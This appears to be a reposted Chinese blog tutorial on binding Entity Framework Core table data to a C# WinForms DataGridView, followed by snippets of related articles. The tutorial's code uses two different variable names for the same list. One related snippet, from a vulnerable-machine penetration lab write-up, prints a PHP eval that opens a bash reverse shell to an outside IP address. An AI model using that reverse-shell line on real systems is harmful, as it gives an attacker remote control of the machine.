C# winforms DataGridView设置数据源自动显示表格

初级代码游戏的专栏介绍与文章目录-CSDN博客

我的github:codetoys,所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。

这些代码大部分以Linux为目标但部分代码是纯C++的,可以在任何平台上使用。

源码指引:github源码指引_初级代码游戏的博客-CSDN博客


        前面我们已经用Entity Framework Core自动生了访问数据库的代码,为了显示数据,我们只需要使用一个DataGridView并把DataSource属性设置为数据表对象即可。

目录

一、效果

二、添加DataGridView控件

​编辑

三、设置属性

四、设置DataSource关联到数据表

五、同一个DataListView显示不同的表


一、效果

        自动显示为带列头的表格(宽度我设置了横向自适应,会自动扩展到整个控件的宽度)

二、添加DataGridView控件

三、设置属性

         设置属性,横向最好自动占满控件,不然不好看:

四、设置DataSource关联到数据表

        一般就先写个按钮呗,按钮代码里面设置控件的数据源:

		public TablesContext db;//EntityFrameworkCore生成的上下文对象public BindingList<GwKey> dsTable1 { get; set; } = [];//一张表private void button_table1_Click(object sender, EventArgs e){dataGridView1.DataSource = null;//清除数据源dataGridView1.Columns.Clear();//清除所有列db.Table1.Load();//手动读取数据dsGwKey = db.Table1.Local.ToBindingList();//由于内部限制,不能直接使用EntityFrameworkCore生成的对象,不信你可以试一下,运行时会触发异常并给出解决方案,也就是这一句dataGridView1.DataSource = dsTable1;//设置数据源,数据就自动显示出来了}

        本来只是设置个数据源啊,一句话就可以了,但是因为不允许直接使用EntityFrameworkCore生成的对象,所以必须转换为一个纯粹的List<>或BindingList<>对象,这两者的区别是BindingList会在数据更改时触发事件,而List不会。

五、同一个DataListView显示不同的表

        前面的代码已经很明白了,按钮操作中先清除数据,然后加载一张表,显然是可以用同一个控件显示不同的表的数据的。

        很容易写出一个根据数据库架构列出所有表然后显示表数据的程序。


(这里是文档结束)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/432510.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Google Earth Engine(GEE)——全球土地覆盖10米的更精细分辨率观测和监测数据集(FROM-GLC10)

前言 – 床长人工智能教程 全球土地覆盖10米的更精细分辨率观测和监测&#xff08;FROM-GLC10&#xff09; 这项工作和论文的目的是对2017年用不同卫星上的传感器获取的10米分辨率图像进行分类。我们通过10米分辨率的地图FROM-GLC10进行检查&#xff0c;并与我们2017年30米全球…

深度学习与应用:行人跟踪

**实验 深度学习与应用&#xff1a;行人跟踪 ** ------ **1、 实验目的** ------ - 了解行人跟踪模型基础处理流程 - 熟悉行人跟踪模型的基本原理 - 掌握 行人跟踪模型的参数微调训练以及推理的能力 - 掌握行人跟踪模型对实际问题的应用能力&#xff0c;了解如何在特定的场景和…

HTML中的表单(超详细)

一、表单 1.语法 <!-- action&#xff1a;提交的地方 method&#xff1a;提交的方式&#xff08;get会显示&#xff0c;post不会&#xff09; --> <form action"#" method"get"><p>名字&#xff1a;<input name"name" ty…

大规模数据处理:分库分表与数据迁移最佳实践

什么是分库分表 分库分表是一种数据库架构优化策略&#xff0c;它将数据分散存储在多个数据库或表中&#xff0c;以此来提高系统的可扩展性和性能。 虽然分库分表能够提升系统的整体性能&#xff0c;但是也不要一上来就分库分表&#xff0c;如果系统在单表的情况下&#xff0…

Vue3使用vue-quill富文本编辑器

安装依赖 npm install vueup/vue-quill quill quill-image-uploader自定义字体 把自定义字体样式放入font.css中在main.js中导入 .ql-snow .ql-picker.ql-font .ql-picker-label[data-valueSimSun]::before, .ql-snow .ql-picker.ql-font .ql-picker-item[data-valueSimSun]…

VS Code使用Git Bash终端

Git Bash可以运行linux命令&#xff0c;在VS Code的终端界面&#xff0c;找到号旁边的箭头&#xff0c;就能直接切换了 当然&#xff0c;前提是安装了Git Bash&#xff0c;并且在资源管理器里&#xff0c;能鼠标右键出"Git Bash Here"

微信getUserProfile不弹出授权框

当我们在微信小程序开发工具中想要使用getUserProfile来获取个人信息的时候&#xff0c;会发现不弹出授权框&#xff0c;这是什么原因呢&#xff1f; 早在2022年的小程序官方公告中就已经明确给出了小程序用户头像昵称获取规则调整公告 因此如果还想继续使用getUserProfile的弹…

Unity 外描边简单实现(Shader Graph)

1&#xff1a;原理 将物体的模型空间的位置&#xff08;也就是顶点数据&#xff09;放大&#xff0c;作为一个单独的渲染通道单独渲染&#xff0c;这时候模型是已经发大过的&#xff0c;要想看到外描边的效果&#xff0c;需要将正面显示的东西给去掉&#xff0c;显示背面渲染的…

uniapp微信小程序,获取上一页面路由

在进入当前页面的时候&#xff0c;判断是不是从某个页面跳转过来的&#xff08;一般是当前页面为公共页面是出现的&#xff09;&#xff0c;比如 A-->B C-->B ,那么 要在 C跳转到B页面的时候多个提示语什么的 而在A跳转到B时不需要&#xff0c;那么就要判断 上一页面的…

衡石分析平台系统管理手册-功能配置之SMTP 服务

SMTP 服务​ SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范&#xff0c;通过它来控制邮件的中转方式。 HENGSHI 用户需要开启 SMTP 服务并进行配置&#xff0c;才能收到系统发送邮件。 SMTP 服务需要用户配置服务器…

传递正能量

“扫黑除恶&#xff0c;弘扬正气”学习心得 近日&#xff0c;我深入学习了关于“扫黑除恶&#xff0c;弘扬正气”的重要精神和相关政策&#xff0c;这次学习不仅让我对扫黑除恶的正确性、紧迫性和重要性有了更深的理解&#xff0c;也让我对如何弘扬社会正气、维护社会稳…

socket是什么?套接字是什么?

Socket的原意是“插座”。在计算机通信领域&#xff0c;socket 被翻译为“套接字”&#xff0c;它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定&#xff0c;一台计算机可以接收其他计算机的数据&#xff0c;也可以向其他计算机发送数据。 我们把插头插到插…

仪表放大器AD620

AD623 是一款低功耗、高精度的仪表放大器&#xff0c;而不是轨到轨运算放大器。它的输入电压范围并不覆盖整个电源电压&#xff08;轨到轨&#xff09;&#xff0c;但在单电源供电下可以处理接近地电位的输入信号。 AD620 和 AD623 都是仪表放大器&#xff0c;但它们在一些关键…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍&#xff1a; PHP Web开发&#xff1a;PHP是一种广泛使用的开源服务器端脚本语言&#xff0c;特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

MATLAB案例 | 沪深股市收益率的二元Copula模型

沪深股市收益率的二元Copula模型 1. 案例描述2.实现流程2.1 确定随机变量的边缘分布2.1.1 参数法计算流程2.1.2 非参数法 2.2 选取适当的Copula函数2.3 参数估计 3. 完整代码参考资料 1. 案例描述 现有上海和深圳股市同时期日开盘价、最高价、最低价、收盘价、收益率等数据,跨…

【FPGA必知必会】(二)7系列的配置(二)边界扫描与JTAG

1、边界扫描是什么 边界扫描&#xff08;Boundary Scan&#xff09;是一种用于测试和诊断电子系统的技术。它通过在电路板上的特定引脚上插入探针&#xff0c;并对这些引脚进行测量来确定电路板的状态。 这种技术可以用来检测电路板上的故障和错误&#xff0c;并且可以在不拆…

Lua中..和...的使用区别

一. .. 的用法 二. ... 的用法 在 Lua 中&#xff0c;... 是一个特殊符号&#xff0c;它用于表示不定数量的参数。当你在函数定义或调用中使用 ... 时&#xff0c;它可以匹配任意数量的参数&#xff0c;并将它们作为列表传递。在您的代码示例中&am…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥&#xff0c;不想老是浪费时间了&#xff0c;所以刷多少题我就会写多少题解&#xff0c;使用nss随机刷题&#xff0c;但是今天下午不知道为啥一刷都是SWPUCTF的。 [SWPUCTF 2021 新生赛]gift_F12 控制台ctrlf搜索flag即可&#xff0…

【Python】自己写的包,在Spyder中跳不到自己包的位置怎么办?

我很喜欢用Spyder来做测试。但是我总是发现&#xff0c;我想要跳转外部的包或者自己写的包&#xff0c;但是发现不行。 解决的方法&#xff1a; 使用快捷键&#xff08;Ctrl 鼠标左键点击&#xff09;&#xff1a; 在 Spyder 中&#xff0c;你可以使用 Ctrl 鼠标左键点击 来…